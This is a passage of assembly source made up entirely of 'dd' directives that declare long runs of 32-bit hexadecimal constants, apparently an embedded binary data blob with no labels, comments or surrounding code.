		dd 69E4A2B0h, 37785AA9h, 40F9ADA5h, 1321ACF1h, 0FD193200h
		dd 7A5D9D95h, 24584B72h, 13BE80D0h, 984CD599h, 0B1EB180Fh
		dd 30897A11h, 0C6598148h, 0A700434Eh, 0D2677586h, 845CE7h
		dd 10FF57Eh, 84448A2h, 0E326327Eh, 1DC7788Eh, 45B09C27h
		dd 28A03B0Eh, 4C08A61Ch, 72C08475h, 4CAB801Dh, 7908A064h
		dd 55AAA482h, 70406500h, 0BD4BB08Eh, 7C2FCC40h,	2806214h
		dd 90CAB952h, 0A8A38277h, 0B9009F4Fh, 0D7C1C686h, 0F02C9E4h
		dd 0B4D0C49Bh, 0D280C802h, 0F063A0A7h, 1F943343h, 38366E0Ah
		dd 0DC4234B7h, 1D888015h, 26CE0h, 99BD0A36h, 0E279DF1Fh
		dd 5041263Ah, 0F21E9F64h, 21276F88h, 89AE6928h,	723A9181h
		dd 83804F21h, 606D9A11h, 13B8983Bh, 0FFA503CEh,	0C5BC51Eh
		dd 1AD08CF3h, 0D3094DBAh, 20BC5D26h, 189F3774h,	69C1C34Ch
		dd 811CFFB7h, 0E7C3CF3Ah, 0C8E96BD4h, 4C1D7D4Eh, 6F30BEE6h
		dd 2AAEA0D1h, 75EFB917h, 1AB24C20h, 0CA8E0F5Dh,	607961B8h
		dd 44B508DDh, 0AC60A5FBh, 0DD09A6B9h, 43C000F5h, 8501931h
		dd 0F0E2AAEBh, 0D77F8700h, 44644B7h, 0E27ADAh, 0F3D87685h
		dd 2D6A62FEh, 11360630h, 709ABDh, 0CF5468EEh, 7DBA1057h
		dd 59B6DD05h, 6F868EE1h, 0D8750328h, 7C2763C7h,	0DD5280CFh
		dd 7E6156FFh, 0A6117A49h, 0FA0AB0E8h, 0BD180141h, 0F09A0449h
		dd 7C204014h, 0F174891Ch, 38C3D9F6h, 1D535474h,	0C32BCE21h
		dd 0AAF5D463h, 35070806h, 21E9F7h, 8B1B3E69h, 817B2FCAh
		dd 0F86B0BEEh, 211C0181h, 0D3F0DAB7h, 19796047h, 0F1158395h
		dd 29D07233h, 0BDC8806Bh, 0FB7474h, 0F1B35578h,	44CB619Bh
		dd 0F5F368C3h, 0CCE01CB0h, 39DCCA53h, 1FFA0628h, 17F2915Ah
		dd 0CB85D90Ch, 1FCC390Eh, 0C05D97EDh, 0F48DD3E4h, 0C0067EBh
		dd 9B347837h, 1DA95E9h,	0A787FB60h, 0F89AF514h,	0EA3C3EBCh
		dd 6D038CCCh, 22A9E2h, 0B533F28Eh, 0C86EA5C6h, 2E0A19C0h
		dd 0AE2B60h, 0E29B7BF0h, 0AAB89606h, 3CF60B00h,	0F5D8A44Fh
		dd 0C217DEAh, 0FDBC6374h, 7C07DBA0h, 18A03641h,	0DBF00A5Fh
		dd 5674D931h, 282C44Ch,	19EAC0E2h, 1C0607Ch, 42604974h
		dd 47685321h, 0CCB476E2h, 0CA619518h, 29840554h, 0B15D3E00h
		dd 0AF8EDD78h, 38A0A43Ch, 0F938F652h, 0DF5D5105h, 2F6C0372h
		dd 56B84408h, 4926CE4Ch, 2601746Ah, 0F454581Fh,	255A806Ah
		dd 350E4DBh, 0F70661ECh, 0F973DADEh, 0C8F0379h,	69645F78h
		dd 0F0ACB5A0h, 709C8A07h, 0C0CF602Dh, 0AD581827h, 0AFEEA0D4h
		dd 6046F775h, 6E830CD8h, 0FE5184F1h, 96606090h,	0FC0EEE21h
		dd 0F92F006Bh, 0D519555Eh, 7309326h, 6EA131FAh,	0F2907D56h
		dd 314911Dh, 0DFF50B53h, 8056E93Dh, 0DB360EDEh,	0C0D57222h
		dd 5528F619h, 3200AA60h, 88D0251Bh, 1F220A02h, 0C08BF21Ch
		dd 7BF68795h, 0C5097120h, 10E149D1h, 0E678C6E4h, 17753C50h
		dd 0A400523Dh, 3EA25F8Eh, 0C6016D5Ah, 7086F44Dh, 0E460BC6Fh
		dd 62CD30E4h, 0F3C5E118h, 0F20E9400h, 0C8A236D8h, 0FCC47C48h
		dd 0D13A03C7h, 0F44C587Fh, 2C493006h, 585084F8h, 0C80C2BF5h
		dd 6210DCECh, 0CB656707h, 0A383C7E2h, 87C87h, 38CD3C8Fh
		dd 0D30B40BFh, 6B042000h, 9AE142CBh, 0DE390CEDh, 0BC91F5B8h
		dd 906E4C07h, 46808F4Fh, 0C0DAD5D4h, 19868E61h,	0D1009CC1h
		dd 80350831h, 391442Ch,	836F2833h, 0C298CF98h, 51CFC5E4h
		dd 0AE3BE0E5h, 132ECD44h, 551666h, 79EFF102h, 91098FDAh
		dd 0C6CAD0h, 0ECB3C4B9h, 0F1416106h, 0DC6E13D2h, 66187109h
		dd 0BA193177h, 9F4C3C73h, 40CA0D1Ch, 0A5997AEh,	0CF0F3207h
		dd 0A304A7A5h, 1C3E454h, 0DC6B4389h, 0C0D86142h, 0F30C385Dh
		dd 0B0214858h, 74AA206Dh, 0BFDBF400h, 0EE2598AFh, 1F5AFE4Eh
		dd 8D34CAE0h, 0D88195F7h, 77AAACBh, 6EF808A3h, 3674D32Ah
		dd 0CDD549C6h, 18F33921h, 841E2100h, 2AD8E5B8h,	0F732CE00h
		dd 0B4A5F02h, 14AE48CCh, 0A01BF581h, 0C72447F9h, 0D508196Fh
		dd 0C4A340F4h, 31736149h, 73D9D100h, 6FAC2FE4h,	0D4B8004Eh
		dd 62CBAB8Dh, 3528CDE6h, 0F744F034h, 0AAF03C9h,	0D3D52B6Ch
		dd 61255101h, 5989845Ah, 0C0FCFCh, 99F21F7Ah, 0BC470881h
		dd 8D774900h, 0AF42A664h, 7E3800C9h, 0EF3BD0B7h, 0F30066D3h
		dd 4EDB5789h, 167C19Bh,	0ECA79F2Eh, 0F4D558A9h,	7C038387h
		dd 2BE20237h, 7416F823h, 0B840C0DAh, 0DF56FA57h, 772D1F0Ch
		dd 1DA659B5h, 4099B6CAh
		dd 58714BACh, 8A00C3D4h, 38040F78h, 0E0A65A90h,	3F36063Ch
		dd 51D637E8h, 86BA6C00h, 2B7F8BE9h, 0A45B30B7h,	6820D018h
		dd 0BC61C560h, 2C6BAF6h, 0E8819CB4h, 20805731h,	34C4146Bh
		dd 0B3A2BB02h, 0FF62F0h, 1FF8093Bh, 0D7014A76h,	0BB50CB97h
		dd 8F709AB7h, 7EAD1844h, 786C61B2h, 0CDAE4700h,	4D39DAD7h
		dd 0E1C08BD5h, 3420AC14h, 9D31C6C9h, 0CD0021DFh, 0E81431B4h
		dd 0A38AE92h, 0D5E9BE58h, 77AA91BCh, 8F78CFFEh,	9C0312B0h
		dd 4A0765FAh, 3C62E887h, 0CF28C3B1h, 0C18873EFh, 7A0F1645h
		dd 0F57E25D3h, 6AC30088h, 4FDC87E0h, 5A332647h,	80501DE8h
		dd 9FCB3DE3h, 0E9F6961Eh, 80182500h, 5826A8BCh,	0B7CE0CE4h
		dd 53493A57h, 103D3C04h, 8384A4C2h, 0BCF0F070h,	52B71458h
		dd 638FC439h, 26250091h, 642ECFF1h, 0B07130DBh,	0AF7B5B19h
		dd 9A038926h, 5612F703h, 0F608F0F9h, 800A01DAh,	34E83A33h
		dd 0DD8986E5h, 59E9BBh,	2702FC47h, 30689F60h, 0C29D581Bh
		dd 0F6B5B091h, 0D9C4005Ch, 1E3D34D1h, 2272F827h, 0C018C500h
		dd 54B68977h, 0B1EC671Bh, 8181D814h, 56E88A33h,	18243ECDh
		dd 2C164820h, 28032CC9h, 7805B932h, 0D67768C7h,	0EA10801Dh
		dd 2097621Fh, 56005079h, 8581BA3Dh, 21D9B48h, 0C76AB9DCh
		dd 2846306Dh, 39A85400h, 5359672Dh, 0DC260C9Bh,	0CF29C6BFh
		dd 0B89044h, 191038D3h,	2783D850h, 0CED1F603h, 0B453142Eh
		dd 20420082h, 740CECC5h, 3E90CABAh, 0DC249B03h,	12B443B5h
		dd 2029E850h, 1720F04Ch, 330EDCA6h, 0AC32EBCCh,	52DDE837h
		dd 5A05C0C3h, 4E3F169Dh, 0B4C36590h, 79054934h,	0D92AE86Dh
		dd 456F2C48h, 81F00018h, 0FBFD8A5h, 0B7CF89C2h,	4220465Fh
		dd 0C450014h, 2D665854h, 90CE18E9h, 0F06F59CBh,	768F403h
		dd 0F8FDA95Ah, 0E2B737DEh, 0E72F07C6h, 0C11918E0h, 8EEEB4DCh
		dd 1382451h, 0ADE2F64Ah, 3A6DE050h, 0F71A035Dh,	8EB41C69h
		dd 0EB38022h, 0F64DA5B7h, 0A1435986h, 6269DB03h, 0BFC201EEh
		dd 32B940EFh, 0B8603079h, 8250BD37h, 0BEB02900h, 7E37F7D5h
		dd 81E4A223h, 0EC275694h, 17B26A11h, 0E35093C9h, 0DF7DE04Eh
		dd 0D4FF52BFh, 84D33210h, 1A40FD63h, 9E6B9523h,	66FA9000h
		dd 0BE60948h, 0C4D51D4Fh, 8FFDC035h, 6A25C9DBh,	0A51AA600h
		dd 9DE13338h, 8651C023h, 5DD291D9h, 83D48700h, 99AA7BF2h
		dd 9314995Ch, 0F8980016h, 72F0DE20h, 150095F0h,	0F713E578h
		dd 0C0A37E52h, 0ABDCAEC9h, 60009B40h, 104B6709h, 75E87605h
		dd 0D9800136h, 6F67B70h, 255ECC8Ah, 99DF4C00h, 223E3B0Bh
		dd 48561B27h, 0E3A01946h, 0AF0073A0h, 0BC49D58Ah, 27A6F4h
		dd 0BBBE956Ch, 0FCD8B759h, 60382600h, 566351F5h, 0C30E2F4h
		dd 0AB7E6C0Fh, 350E4B99h, 0A148BE85h, 0C4AC28E3h, 88B5C020h
		dd 7C00FEFBh, 10624A79h, 0CA2AF2h, 0F513FDF3h, 0BEC56E77h
		dd 8D45CE05h, 0E040257Ah, 0B2ADBBF4h, 0E1F80029h, 233A8A34h
		dd 14E0E575h, 8E01FE00h, 0E8651644h, 0C9310051h, 8D8109A9h
		dd 6E0CDDF3h, 110A71BAh, 147E5045h, 0F5DE0341h,	0EC802F64h
		dd 17714CE7h, 0E21FC97Eh, 25408134h, 39E070D2h,	0B792002Ch
		dd 5D50AFB2h, 0E006A96h, 2B8133FDh, 2721DC5h, 405176BEh
		dd 0D4E2FCDEh, 2023FC84h, 1A569D9h, 0D8048031h,	30DEEAAFh
		dd 861D4FDCh, 4E1227B9h, 80325C08h, 0C97EC0DBh,	0A954774Ch
		dd 0F000BAA0h, 1B4B1808h, 9CF47Ch, 0B10AAE01h, 545FDA88h
		dd 0C0B46E58h, 0BAEA3E35h, 10261E43h, 6317411Ch, 0F4E42A93h
		dd 44003F38h, 47A33154h, 316C241Bh, 7B11D68Ch, 0C342010Ah
		dd 1A88C7C4h, 8929EBDBh, 5D081460h, 95964D00h, 0A6F6F26Eh
		dd 917C917Ah, 0FE007FC2h, 0B56C2614h, 0FE046AEDh, 0E44B008Eh
		dd 5DBCCCBBh, 0E49A9E62h, 39545900h, 8B731D48h,	2A9C018Fh
		dd 0DBF3D65Ah, 0BE17C8D4h, 0F672860Eh, 8004D631h, 0B704D730h
		dd 62188858h, 0D6519263h, 0A278D8EBh, 0DAF40708h, 50EAECCAh
		dd 3E557273h, 7858FB60h, 1FD880CFh, 8124B908h, 485EBCE3h
		dd 0C19DF0EFh, 90B2C9C0h, 26F45BA7h, 0EF55658h,	276020AEh
		dd 0C428FB9Bh, 0D471DC29h, 0C5545C00h, 1EA8DA0Ah, 0AE8C9Bh
		dd 0F16149C7h, 0B5281A30h, 8010943Eh, 0D00F387Ah, 8C6F1354h
		dd 5D53FA80h, 3A03C4BEh, 2BE838CDh, 7F892EC7h, 1083473Ch
		dd 0C58ABC37h, 0FBE04E12h, 0EB6CF800h, 4C7D1046h, 5F24C8DCh
		dd 6FBB0070h, 7F27BF30h, 75413E67h, 5D1A9150h, 162B3CC1h
		dd 0F57AC082h, 0B091CF05h, 0B9540886h, 14520054h, 0E5254E31h
		dd 22ECBF5Ch, 8241FE9h,	67C507D7h, 2C8620DEh, 0D1031FC3h
		dd 78F95290h, 0E06A8FECh, 8143ED64h, 0DCB8BE15h, 2B1338C8h
		dd 0E0325EB7h, 855196Eh, 9DF70352h, 9CA6EDD3h, 0EE00217Ch
		dd 0B912D7Fh, 0C70DECh,	0DAB62AABh, 311253D4h, 0F8B1E918h
		dd 2607D9B8h, 0E1091B9h, 10962A73h, 8858A0ECh, 6D00DC57h
		dd 45C0C294h, 0F21E5316h, 4C1E8125h, 913F110Ch,	507472B4h
		dd 631BB855h, 0CC9C085Eh, 3876490Bh, 7DF011h, 7EB1E306h
		dd 95F33F91h, 31058E03h, 80C725F7h, 24786A37h, 4AE4BEDFh
		dd 0E2C28C50h, 8703C111h, 9DC9C747h, 6C6100A6h,	0F25F6DC2h
		dd 0E4F8E09Ah, 0D44319C0h, 1F1F937h, 71992B28h,	211076B9h
		dd 5F208015h, 0FF8F833Fh, 60C36044h, 0F7D392C2h, 0AA18D90Ah
		dd 0A3009467h, 3115DA8Fh, 0A050F9EEh, 0A8B16920h, 285612BCh
		dd 28E11AFCh, 245CECBEh, 3CF625h, 0AFBDF78Ch, 0DA02062Dh
		dd 0BED88797h, 0E8D44890h, 0B1DC6238h, 0A8A03D7Fh, 0B393C4CBh
		dd 77018AFEh, 9CAC3649h, 0DD003A2Eh, 69D3F0BCh,	41E53030h
		dd 0ACE900FAh, 0CB9A6984h, 68079408h, 0F7FC4BF2h, 837F5E10h
		dd 0F3A8C8DBh, 63C42C4Ah, 448C8h, 0AD14E6C2h, 0DE09190Dh
		dd 2AC1A5Ch, 0DB657346h, 7CC471h, 1B8CB621h, 0D4C66C77h
		dd 4CFF8548h, 7C780065h, 20F72493h, 44809460h, 1BCB264h
		dd 5B5EE85Ah, 218FB4EAh, 608B7F33h, 11D6F883h, 0CEDA0803h
		dd 98EA5812h, 6062F15Ah, 0DDA9C1E1h, 2407CF25h,	4DE3F60Ch
		dd 1EAC0049h, 147234ACh, 0B0CE3FE8h, 20742093h,	173B8913h
		dd 55651D94h, 0F8567B40h, 1EC088Eh, 915B04BDh, 0C84AB416h
		dd 8315975Fh, 1C0327Ah,	0B3ECF4D7h, 0A4486289h,	80C90087h
		dd 0B250265Ah, 6A1E231Dh, 4A002BC4h, 1BFC39A2h,	303678B1h
		dd 0D7915F4Dh, 0B50214FAh, 44802759h, 1A8441Bh,	62211E53h
		dd 33BFE486h, 84F47D7Ch, 4206300h, 1033B618h, 42F812ADh
		dd 9A6041D1h, 8253ACD3h, 27473A31h, 2C527Eh, 0DBC65D78h
		dd 0B1C3851h, 0AC54E4B0h, 1713C5BCh, 0B082F9BCh, 8070086Ch
		dd 0E6E4603Eh, 0A8001050h, 0B2A47F2Dh, 32AD40Bh, 0A733B7D8h
		dd 0B8104DBEh, 20483CA2h, 1771713h, 8FD393FCh, 805838BAh
		dd 44F0F518h, 58590085h, 9FE4C7F6h, 0DB502A83h,	98A04E40h
		dd 0C8017BBDh, 27023FB3h, 0A07A1FDDh, 3404FCC3h, 0C2DC18CFh
		dd 4EF6C0A4h, 7D1C4090h, 0D3187B2Dh, 40DBB000h,	1D870B67h
		dd 6A8C00F6h, 0E12CD829h, 7E4B52B7h, 0A86F0C44h, 32243052h
		dd 8600F233h, 1C6519FCh, 96BCA27h, 8AE65AFBh, 6D20B080h
		dd 1CA6D7D3h, 7C459E00h, 4D2A1561h, 0F3BF0199h,	0F56E2508h
		dd 263838E3h, 3F420496h, 0DAF020D1h, 154CBCC9h,	0EE2D0150h
		dd 0AFF7B530h, 17B860ECh, 5233A0Bh, 7E730Bh, 1A894E58h
		dd 0B7005FBAh, 0AED9F3ADh
		dd 0E4E6B26Fh, 7FF600BBh, 0EFE39F9Ah, 80195E93h, 451094C6h
		dd 300807EBh, 86F28E20h, 0D30F10C3h, 8CF5EC9h, 0C7A401EBh
		dd 6006F239h, 9D0017F5h, 0D4333A4Eh, 3CF6DDFh, 19546638h
		dd 80CC2FAAh, 0E9A1DCCBh, 0A3903499h, 0E2122084h, 69860004h
		dd 0E6D52AF7h, 641A00D1h, 529A50E9h, 0DE000441h, 82163821h
		dd 1655C02h, 394A5E08h,	4C721F3Dh, 12007580h, 10040A0Bh
		dd 0FA4CCA3Eh, 4D020061h, 28BB012Bh, 71EDC2A2h,	94637Ch
		dd 377E7CACh, 3B252152h, 9580DAF2h, 77C7F851h, 0AE661420h
		dd 0E9D01861h, 88603C12h, 0E3285ADBh, 6C006CFFh, 34598396h
		dd 58338124h, 0B526A851h, 0E3A84EDCh, 6800CF93h, 0F627304Dh
		dd 3470E377h, 62EE40E7h, 0BB29EA61h, 0D9E3B6A4h, 0A431DCFBh
		dd 403444EAh, 4718C6DEh, 1628FCFFh, 7E010097h, 37846035h
		dd 0C57BB539h, 8C715000h, 0BBB06C03h, 0B1F30720h, 5014D24Bh
		dd 0BF5A92D7h, 0B1616B81h, 0DCBC3086h, 0B6F80805h, 1F66BD00h
		dd 1D636DA0h, 9AEE079Fh, 5007BE53h, 0B13F2979h,	56093118h
		dd 63D61F30h, 0C3D779A7h, 60265116h, 58D91100h,	7F9202EFh
		dd 0C9FE0027h, 0B901FCA8h, 5F7A46D4h, 0BC639D19h, 20D23491h
		dd 6F4DDAECh, 11EA2D16h, 39952D00h, 1C45AD5h, 14DD3F2Fh
		dd 0E8893A19h, 4400B931h, 545D34E4h, 0FED13Bh, 95A78E11h
		dd 0A6DEE5C4h, 62FD8C19h, 7C80A569h, 96479DB8h,	3F01E4A2h
		dd 6EC263F2h, 0D0C07D21h, 0CD4C5850h, 3736C800h, 0B5AE6664h
		dd 0E4A3CAEEh, 51E3B811h, 103C4912h, 4301A8EEh,	0DDC15BEEh
		dd 317A101Ch, 0A79B00EBh, 0C639F0E1h, 740012B8h, 0A2375015h
		dd 60D72F32h, 8828F9C9h, 0E400FE79h, 19F4E30Ah,	0A5309B6h
		dd 0A69541CBh, 0EB3F8090h, 0BE882E6Fh, 0AFB01C98h, 39490880h
		dd 3529A860h, 0FC59810Ah, 0C47900C6h, 5D204CA7h, 0FB0060D9h
		dd 0C913D741h, 6332B13Eh, 66FDB106h, 0F963D900h, 4160E802h
		dd 0D3703F3h, 1B3BBEC0h, 7AA95AE0h, 44966706h, 7371BA8Eh
		dd 51530037h, 280EB3CCh, 0CF064C5Ch, 0BEDD5F54h, 86761E61h
		dd 11041824h, 0D200BF8Ch, 4BF79F90h, 4258B4h, 84014A99h
		dd 0B14FE8C4h, 0AC526F76h, 0EFD900B8h, 3540145Ch, 394E18CEh
		dd 637181B2h, 7D1EC60Ch, 1FB0A804h, 0E44F9A2Eh,	0BCAD087Ch
		dd 44C83F88h, 0C052401Ch, 3FBA70Ch, 0A0FCA667h,	0C1A06A32h
		dd 0A402F708h, 0B1982C25h, 0E340414Ch, 26ED0C40h, 0BC81C002h
		dd 0A257E4C4h, 3EFCC0C1h, 618A11F2h, 43CCD91Fh,	3100C4D7h
		dd 729220BAh, 344713Ah,	0BD59B72Dh, 0B990AF5Bh,	0B05CC33Ch
		dd 31B13000h, 1D8C244h,	517D77A1h, 40DA45FDh, 0DDC02808h
		dd 0C15A4B0Fh, 0F15ECCC7h, 7B47E12h, 0A134F2A8h, 0D72420DFh
		dd 0BE14BAA0h, 86F898D6h, 0A1B339h, 0DB2E0AA7h,	8F13CD47h
		dd 4068310Fh, 0C233C7F1h, 0F0086E9h, 39EE1469h,	0BF226C94h
		dd 8C0337E2h, 152E819Eh, 0A0AFE95Ch, 0A1A70880h, 0DA95655Fh
		dd 1FC7BE0Eh, 0EFB963DDh, 90202A5Bh, 0B1160498h, 81E977D6h
		dd 41FC66A8h, 0EC9C7A68h, 43070ADEh, 7156B626h,	7A391076h
		dd 4171F2h, 0AFED0F5h, 0EA3EB14Dh, 9D00C4A4h, 4765980Ch
		dd 19586E26h, 103A4595h, 0D7B1C7D9h, 0D1699C5Ch, 3ED1B258h
		dd 63FC0E21h, 0D68A193Dh, 0C50C0174h, 0CB49E4EDh, 0FA3D6CD8h
		dd 1CFCD128h, 5CC23207h, 0B4539A39h, 0D4084836h, 119840DEh
		dd 0AF6A353Bh, 0DA0E4D02h, 80D3D126h, 0FC293C20h, 144A32B0h
		dd 2D42E1C1h, 0EDF0A098h, 192E3Ah, 917FEB7Dh, 5F6A74h
		dd 56533449h, 0EE5C84EFh, 67FC22h, 0D2EE931h, 0A86D40ADh
		dd 9AF19E03h, 0E60EDE8Ah, 0C12F148Eh, 0F8D84475h, 9D000537h
		dd 44BA679Fh, 98D0F21h,	0B8FD0A4h, 11CD9880h, 0F9173695h
		dd 0CE00D3E0h, 0A39E96B1h, 27DB0245h, 4853029Ch, 6B669860h
		dd 0DC4D382Ah, 0EB1EED0Ah, 0C08F8CBEh, 0E320187Ah, 2AB98015h
		dd 243C3948h, 1F86048Ch, 72319FDEh, 0FEAC1E5Ch,	7C019072h
		dd 9DA00700h, 0D242523Eh, 9FF80908h, 0CD80D97Dh, 9678D0D8h
		dd 4C19BA00h, 1EEA83B1h, 0C674DDCh, 0F9CAD718h,	393871B5h
		dd 69380321h, 0D876C126h, 0C4FA7A3Fh, 61A5EA0h,	790ADCh
		dd 0CB990BD9h, 0C833093h, 867B2C00h, 43D15D5Ch,	7AA81C51h
		dd 40FB9854h, 65801E18h, 122CB0E0h, 0BCFC22C7h,	14445292h
		dd 3748396Bh, 2EC009DCh, 19B64C7Fh, 3921FFB2h, 423B1C64h
		dd 1D22C9h, 33FBF70Fh, 3C5DBAE9h, 588EE48h, 0B89C958Ch
		dd 4651C026h, 0E542C61h, 8A802429h, 7A826873h, 0DC0200BEh
		dd 0BDEED6A8h, 0B5016385h, 95D076AEh, 318060FDh, 0BD049833h
		dd 69006F24h, 97B17EAh,	0FEDDD1h, 0F8B1C187h, 9ED56631h
		dd 81E8BE48h, 0C60721EAh, 24E8C9A6h, 50822B8h, 5BA5DEDCh
		dd 667C8C4Ch, 0CA2E2200h, 0B03753BAh, 6A400035h, 0B4823FF3h
		dd 0CF002725h, 0B62B0AA1h, 7EBF6E4Ah, 87A303BBh, 18667C7Dh
		dd 78FC1698h, 140D8601h, 10E9B088h, 0F4F8C9F7h,	779C3CC8h
		dd 0FC3A30FFh, 5D9DDC10h, 0AF80F37Ch, 0ACB8004Fh, 0E8446104h
		dd 9E00C20Ah, 0F0BB8074h, 66DFE71h, 54196F07h, 290F51F3h
		dd 0AF73233Ah, 2A9A005Dh, 19ED44Eh, 7FBB0FB1h, 0D4F4AF41h
		dd 5407312Dh, 90CEF2D3h, 21816Ch, 1DC7772Ch, 55FE0AF6h
		dd 2768AA07h, 5C10A9DBh, 0AC8A40Fh, 317E968Fh, 5EF90108h
		dd 83F25DA1h, 0EFD83DB9h, 9B28983Fh, 0B60100E7h, 0B15F17A4h
		dd 0D4067D7Ah, 0F45DFF41h, 1E200731h, 4CABCACCh, 9F1F0B4Eh
		dd 6F832BFFh, 916A83EDh, 9D3013F5h, 8A7D0FA9h, 0D58014B2h
		dd 0FD304318h, 0D69C7703h, 0A0127C42h, 0FE8ADB41h, 0FFAD2A2Fh
		dd 3B7D0B8Ch, 1B8327D4h, 63C261E6h, 0DC23088Fh,	2873FC14h
		dd 8FE39F00h, 0D0730D26h, 76FF3057h, 7C0EF8A9h,	0DB2B430Eh
		dd 19FB2CADh, 0AC6B38F9h, 7408A0F4h, 210C00C3h,	1ED49C03h
		dd 9D1856A2h, 33494A9Eh, 0E50C1C45h, 0F6CEC0F5h, 0C5802EC9h
		dd 0E47A500h, 0D69D236Ah, 488E0079h, 2421060Ch,	19607AFFh
		dd 839EDC41h, 0CBDA1E88h, 0C65F52h, 0F76C846Eh,	89DDE97Ah
		dd 80FBB28Ah, 0E1F1158Ch, 0AC1F00B6h, 79661738h, 0C28333Bh
		dd 7304904Ch, 0D1DF28E0h, 79140850h, 0F70A1451h, 830FC7Bh
		dd 98AFEBCh, 0A30EB8C6h, 46F1A40Ah, 498DDB80h, 0C8601F5h
		dd 53276BD5h, 0B83180ECh, 0E9D0E15Dh, 1E001FEh,	9863BECDh
		dd 6C21C809h, 0F4999E04h, 0F050F6B3h, 0D7767901h, 406370ADh
		dd 433D5390h, 6DD9F560h, 0E7B0929h, 39BBDCF0h, 0F7D31998h
		dd 84E8BF29h, 0D40A15h,	0F2135180h, 0FA7522h, 0C078E521h
		dd 0F0A93F37h, 50B54F0Eh, 0EEFBBF91h, 9045EEF1h, 0F7901A00h
		dd 0C4740794h, 19384030h, 12833E3Bh, 187D18FDh,	0B280394Ch
		dd 8510C11Dh, 0F500891Dh, 0FAA17577h, 0F7EB2A38h, 63F002Ch
		dd 8466F1FBh, 1806CD6Fh, 47BD75A7h, 7B640721h, 0B30BDD08h
		dd 0C8BC6655h, 35004324h, 10F1C5FDh, 12077725h,	4C03DD20h
		dd 0E116090h, 54753D88h, 605D90F9h, 0D897A9F1h,	0E801F0D1h
		dd 117CF740h, 6080BBD9h, 7E10C9B3h, 36517D66h, 0F949306Ch
		dd 0A0A87765h, 2706DA00h, 0DB846Fh, 8519CCB3h, 1B05E77Ah
		dd 71FAFF37h, 0C3B7E53h, 75AE77D1h, 12007F40h, 0C7AB2130h
		dd 1FB62F47h, 408B15BCh, 7D689475h, 2B0067B1h, 3C84CF0Bh
		dd 6191FE4Eh, 8FAD4948h, 5D72D8A2h, 269B5A00h, 54E1210Ah
		dd 5ED8F7D9h, 78B601ECh
		dd 7BFF7C63h, 533992D3h, 9DDE0C20h, 9F886h, 1390DFACh
		dd 0A42B020Dh, 0D589AF01h, 1070F65Dh, 4D408C20h, 711C7C41h
		dd 28086AAEh, 6384A669h, 0C6B0613Fh, 862BB380h,	8099F21Dh
		dd 0CE30A02h, 6C948044h, 98B81D07h, 46D63814h, 91D55502h
		dd 0D408FD92h, 91F90B08h, 0BB0506F7h, 0EA64DA0h, 46306588h
		dd 6C38E8EFh, 0B77429D6h, 0E5907C07h, 334734A5h, 0C1D06B75h
		dd 4C83D0C0h, 0AE034CA4h, 0A18CA52h, 8D47FFC0h,	81D59E03h
		dd 261630D3h, 39377578h, 2E10E08Ah, 78606E98h, 0C18338A1h
		dd 64FDDC1Ch, 0D426002h, 0E0804025h, 58D2283Bh,	329E0090h
		dd 65B9C37Ah, 9F0B75C2h, 0E0EEF8h, 836F3F44h, 150C058Ch
		dd 9CC9B0B6h, 75000590h, 0BDCEC790h, 14BBD2h, 0CA503359h
		dd 3CBAB01Dh, 0B87508A0h, 7DDC14A0h, 9E163D01h,	0BB1ED349h
		dd 4EC7F20h, 7E717BDBh,	80BC831Dh, 818305C0h, 0AEE6DA7Ch
		dd 22C83349h, 87C7004Bh, 0F59455E1h, 0FF75216Fh, 0ADA22500h
		dd 0B905AF89h, 0F6192C42h, 0F7F50168h, 9DF0F9B8h, 12FA2DB9h
		dd 7C217342h, 3D11497Ch, 0C7C02276h, 6DB0A82Dh,	176C9DFh
		dd 0F089CE14h, 6061EA7Ah, 0C722F4F4h, 79F718F8h, 528D39E6h
		dd 70FB3426h, 20000B91h, 72662D5Dh, 0CF00C089h,	0E7296786h
		dd 13A5DBh, 500BE67Eh, 0EF0C713Fh, 0FAF7DD1Ah, 4F008251h
		dd 0E0182714h, 907D0AB3h, 0FF040E01h, 7FF73E4Eh, 0BD210463h
		dd 828E748Bh, 82137B50h, 66F5C510h, 6B7303E4h, 0DB3A567Ch
		dd 721CCCC5h, 0EEAD8700h, 56443762h, 0D1B028Eh,	703DF1CFh
		dd 82582064h, 45C4507Ch, 5B2D105h, 50C071E6h, 6E4469h
		dd 0D07779C5h, 0FDFBBCEBh, 0DC226316h, 35D88030h, 48A3F288h
		dd 0D8B6C406h, 6421E645h, 24ACAFE0h, 1FCC30B1h,	640220EBh
		dd 9448C4B2h, 7ACA8053h, 2E561CA4h, 40241502h, 5D78892Ah
		dd 6A084D75h, 4045C1F4h, 31A212BBh, 1D87EF02h, 853ABAB2h
		dd 0CFF7D08h, 1949FD40h, 18C5D400h, 0F2D573DCh,	0A22A00B0h
		dd 34D6C6A6h, 0FC03623Dh, 24CB4616h, 8B25B04Ch,	45DD0B0Dh
		dd 0EC006423h, 2133E0A4h, 41516600h, 0D54CD224h, 8200B843h
		dd 14A80808h, 9BB08E0Bh, 0E47F8AD4h, 0F1532A5Ch, 441C03E4h
		dd 9C13B68Bh, 3A9B1BB8h, 22AA5917h, 713DD861h, 0DAC06032h
		dd 0FE4083E8h, 6256CB02h, 80F9CDDCh, 0A97C89FFh, 0C42B48D2h
		dd 783D127Ah, 684C42D3h, 884184C0h, 734073D1h, 0A8F61588h
		dd 21C7A98h, 345F8730h,	38C03323h, 0F4A005E8h, 0F1EEF776h
		dd 0C3904C91h, 0FE180897h, 246E8BBBh, 821898DCh, 34DE0021h
		dd 0D8642B2Fh, 75003EF4h, 0BDE8B2CBh, 204554Fh,	1D1A76AEh
		dd 0C4689DD9h, 912C7CF0h, 0DC01D5E5h, 84FA39B9h, 142216E5h
		dd 20D7E800h, 421104CCh, 220DCF2h, 4871091Eh, 2C44B2D8h
		dd 9E7A6A3Fh, 0AAC37723h, 0E291ACEDh, 402C58A8h, 0F5605D78h
		dd 9B0DAF31h, 906C00B5h, 50E3A885h, 2B008415h, 4FCB12AAh
		dd 1C72CC52h, 803A6E20h, 661BBBB3h, 0AB008BD9h,	8A5B46D4h
		dd 7CE6D07Bh, 3C10007Dh, 62B0FC9Dh, 20906C5Ah, 0D101E3F0h
		dd 0D673D502h, 8429EA3h, 0F318C143h, 0F0A9CF11h, 7300CBE6h
		dd 0F90FA20Dh, 14B9AED5h, 871186FAh, 2CC87E24h,	0AC84ADCh
		dd 916CF9B0h, 0A8EE00F4h, 0A52F5630h, 521A0055h, 0F55BFBCDh
		dd 250C73C1h, 8032AA1h,	839E04DBh, 88793CACh, 9B007510h
		dd 0D90CAD19h, 0EE6D5BDBh, 0AA7EEBCh, 0FA411706h, 50970314h
